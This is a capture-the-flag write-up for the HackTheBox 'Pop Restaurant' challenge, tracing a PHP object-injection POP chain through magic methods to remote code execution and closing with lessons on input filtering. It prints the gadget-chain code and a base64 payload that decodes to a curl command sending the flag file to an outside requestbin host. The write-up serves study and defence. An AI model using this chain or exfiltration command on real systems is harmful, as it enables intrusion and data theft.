By: khanhhnahk1
6 hours
Introduction and Reconnaissance
A PHP application. This challenge was a bit of a doozy, as it required a series of exploits to get the flag. In addition to this, although I had experience with Perl as a frontend framework, I never had experience with PHP, so that was a bit of a learning curve for me. As an aside - I have no idea why this challenge was rated as "Easy" on HackTheBox, it was anything but. This challenge was completed over several evenings - totalling around 6-7 hours.
The app after logging in
Unlike our previous challenge, we do have source code for this one, so hopefully we can get a better understanding of what's going on without needing to go in blind. Taking a look at what we have within the website, we have a login page, a register page, and a page to view the items you ordered. In addition, there are some 'models' (which I initially assumed to be similar to classes in OOP), with models of the different food items that could be ordered, as well as a database. I also noticed that there were some other helpers, like an array helper, and an authentication helper. Not only that, but checking the Dockerfile, unlike previous challenges, the flag this time was a random name, so we would need to figure out the name of the flag file first before we could actually get the flag, as shown by these lines:
COPY flag.txt /flag.txtRUN bash -c 'FLAG_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12) && cp /flag.txt "/${FLAG_NAME}_flag.txt" && rm /flag.txt'
The database model file contained some basic functions, as a wrapper around a SQLite database. Once again, I was thinking that there was a SQL injection vulnerability here, but it seemed like all of the queries were parameterised, so I couldn't see any way to exploit it, for instance:
From there, I tried to see if there were any critical vulnerabilities in the PHP PDO library that was being used as the database connector - paying attention to PHP v7.4
as defined in the Dockerfile.
I managed to find this particular CVE. This CVE exploited PDO SQLite in PHP, in particular the PDO::quote()
function is called with a massive string. This ends up causing an uncaught overflow, which ended with the function returning an unquoted string.
Unfortunately for me, this was a bit of a useless side track, as there was in fact no use of the PDO::quote()
function in the codebase. On the bright side though, I did learn a bit more about PHP and the PDO library, so it wasn't a complete waste of time.
From here, I was stuck for a little while, as I couldn't see any obvious signs or entrypoints to which I could exploit the website. I decided to take a step back and look at this challenge from a different angle. Looking back at the name of the challenge, Pop Restaurant, I decided to take a deeper look as to what this could mean or refer to.
I should note that I also noticed that within the models, there were interesting methods that were defined, alongside other strange attributes that don't seem to be used anywhere.
The models with strange code
Researching the Vulnerability(ies)
After a LOT of digging and research, I found two vulnerabilities that could be worth something within the context of this repository.
- PHP Object Injection (serialisation attack)
- PHP Object Injection is a vulnerability that could allow an attacker to perform many different kinds of attacks, such as Code Injection, SQL Injection, Path Traversal and more. This vulnerability occurs when an attacker can supply a serialised object, and the application does not properly validate or sanitise the input.
- PHP allows one to unserialise a provided string, and then use that object as a functional class instance. Attackers could then pass ad-hoc objects to a vulnerable
unserialise()
call, eventually allowing for remote code execution through something known as a POP chain. - POP Chain
- A Property Oriented Programming (POP) chain attack is when a series of vulnerabilities are chained together to perform an attack. Typically speaking, this is done through what are known as 'magic methods' in PHP.
Magic methods are special methods in PHP that can be tied to classes, and are executed at specific points in the object's lifecycle. These methods, in the rightfully wrong way, can be used against the application to perform malicious actions through the manipulation of the properties of a deserialised object.
Looking back in the codebase, I notice that the three different food models that I mentioned having strange methods - these were all actually magic methods.
__get()
- This method is called when something tries to access a property that is not accessible or does not exist.__destruct()
- This method is called when an object is destroyed, and can be used to perform cleanup tasks.__invoke()
- This method is called when an object is called as a function.
Planning the chain
Now that I had some more background information, we needed to start figuring out how we could chain these vulnerabilities together to get the flag. Research seemed to suggest that the first entrypoint would likely be the __destruct()
method within the pizza model, as this would allow us to execute code when the object was destroyed/cleaned-up.
My suspicion was that once we create a new pizza object, we could then assign the $pizza->size
property to a new Spaghetti
. What this will do now is because the __destruct()
method is called when the object is cleaned up after being deserialised, it will then call the __get()
method of the Spaghetti object, since what
doesn't exist on the Spaghetti object. Finally, we set the sauce
attribute of the Spaghetti object to the function that we wish to execute.
I tested this theory by running the application locally and trying it out on the login page.
$spaghetti->sauce = print("Hello World");
$pizza = new Pizza();$pizza->size = $spaghetti;
echo unserialize(serialize($pizza));
Testing simple payload
Looking promising! Let's try listing some files on the system, by using the PHP system()
function for RCE.
Listing files
Nice! We're getting somewhere. Maybe we could actually try to look into executing this on the server itself. Of course, I won't have the freedom to change the source code on the server, so I will have to look for a different approach.
I notice here, that the actual data of the classes are stored as a base-64 encoded, serialised string of the original instance of the class. This is being plugged in via a hidden input field on the order page - maybe I replace this with my own payload on the real website? For testing however, I will continue with changing the source code locally for convenience, but this time I run the payload by replacing the value of one of the fields directly with my payload.
This didn't work, unfortunately. As you may have noticed in my earlier screenshots - it was telling me that the object of class Pizza couldn't actually be serialised into a string. This was due to the fact that an anonymous function was being used - which is not allowed in PHP. I had to find a different way to execute my payload.
Tying it all together
Now, the IceCream model had a __invoke()
method, which was called when IceCream was called as a function. Once that happens, we loop over the items in the flavors array, and echo it. Additionally, remembering that we have an ArrayHelpers
class, which has a special method call call_user_func
- sounds like something that I could use to execute whatever I wanted - in this case it was running whatever method was set in the callback
attribute.
So to tie this all together, I would need to create a new arrayHelpers object, set the callback attribute to system
, setting the input array that it will iterate over as the list of commands (or just a single command) that I wanted to run. I would then make a new IceCream object, setting the flavours attribute to the arrayHelpers object, and finally set spaghetti->sauce to the IceCream object.
Phew, that was a lot of work! Time to try it out! Here's what that payload looks like all together:
$spaghetti = new Spaghetti();$iceCream = new IceCream();
$arrayHelpers = new ArrayHelpers(["ls /*flag.txt | xargs cat"]);$arrayHelpers->callback = 'system';$iceCream->flavors = $arrayHelpers;
$spaghetti->sauce = $iceCream;
$pizza = new Pizza();$pizza->size = $spaghetti;
Asking PHP to also base64 encode and serialize the object for me:
Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO086OToiU3BhZ2hldHRpIjozOntzOjU6InNhdWNlIjtPOjg6IkljZUNyZWFtIjoyOntzOjc6ImZsYXZvcnMiO086MjA6IkhlbHBlcnNcQXJyYXlIZWxwZXJzIjo0OntpOjA7aTowO2k6MTthOjE6e2k6MDtzOjk2OiJjdXJsIC1YIFBPU1QgLWQgImRhdGE9JChjZCAvICYmIGxzICpmbGFnLnR4dCB8IHhhcmdzIGNhdCkiIGh0dHBzOi8vZW40NWgxZnRiamw1Zy54LnBpcGVkcmVhbS5uZXQiO31pOjI7YToxOntzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fWk6MztOO31zOjc6InRvcHBpbmciO047fXM6Nzoibm9vZGxlcyI7TjtzOjc6InBvcnRpb24iO047fX0
I take this base64 encoded string and replace the value of the hidden input field on the order page with this string. I then submit the order, and...
Putting in the encoded string
Nothing...?
This was very strange, as testing the injection of this locally actually worked completely fine. This was very deflating and frustrating, given that I spent so much time, thinking that I had gotten a payload that works (at least locally), for it to not work when I test it on the real website.
Testing locally
As you can see, the payload would show up on the raw HTML response of the page locally, but the same thing did not ever show up on the server. I knew that the payload was at least somewhat working correctly - given that the 'Your Orders' section showed a Pizza object being ordered despite me clicking Spaghetti (since that's essentially what I was doing with the payload). After a lot of thinking, I realised - wait a minute, I literally have access to a remote server shell - I could practically do whatever I wanted!
In the end, I decided to put in a curl command that would post the payload to a requestbin, and then I would be able to see the response from the server. I then put in the payload, and submitted the order, praying...
Finally!
Reflection and Learnings
This was another example of why it is paramount to filter your inputs. All of this attack could have been avoided if the developer had filtered the input that was being passed, instead of directly unserialising it. This is a classic example of a PHP Object Injection vulnerability.
A developer (in the real world) should check for any unused code within the codebase, as this could potentially be a security risk. In some cases, it could be possible that code that has been left in the codebase contains legacy, vulnerable code.
This challenge was a good example of why it is important to use contextual clues to help one solve a challenge. In this case, the name of the challenge, "Pop Restaurant", was a hint to the fact that we would need to use a POP chain attack to get the flag. Knowing this, I now know in the future to potentially use such clues to help me solve a challenge - particularly when I'm stuck (like I was with this challenge in the middle).
This challenge was a good example of how seemingly innocuous code can have a big impact. In this case, the magic methods that were defined in the models were actually the entrypoints for the attack. This is a good reminder to always be vigilant when looking at code, and to not dismiss anything as 'not important'.
If I were to write a website in PHP, I could imagine that these magic methods are actually very useful when used correctly. However, in this case, they were used against the application.
Last Writeup
Baby Nginxatsu
Next Writeup
Render Quest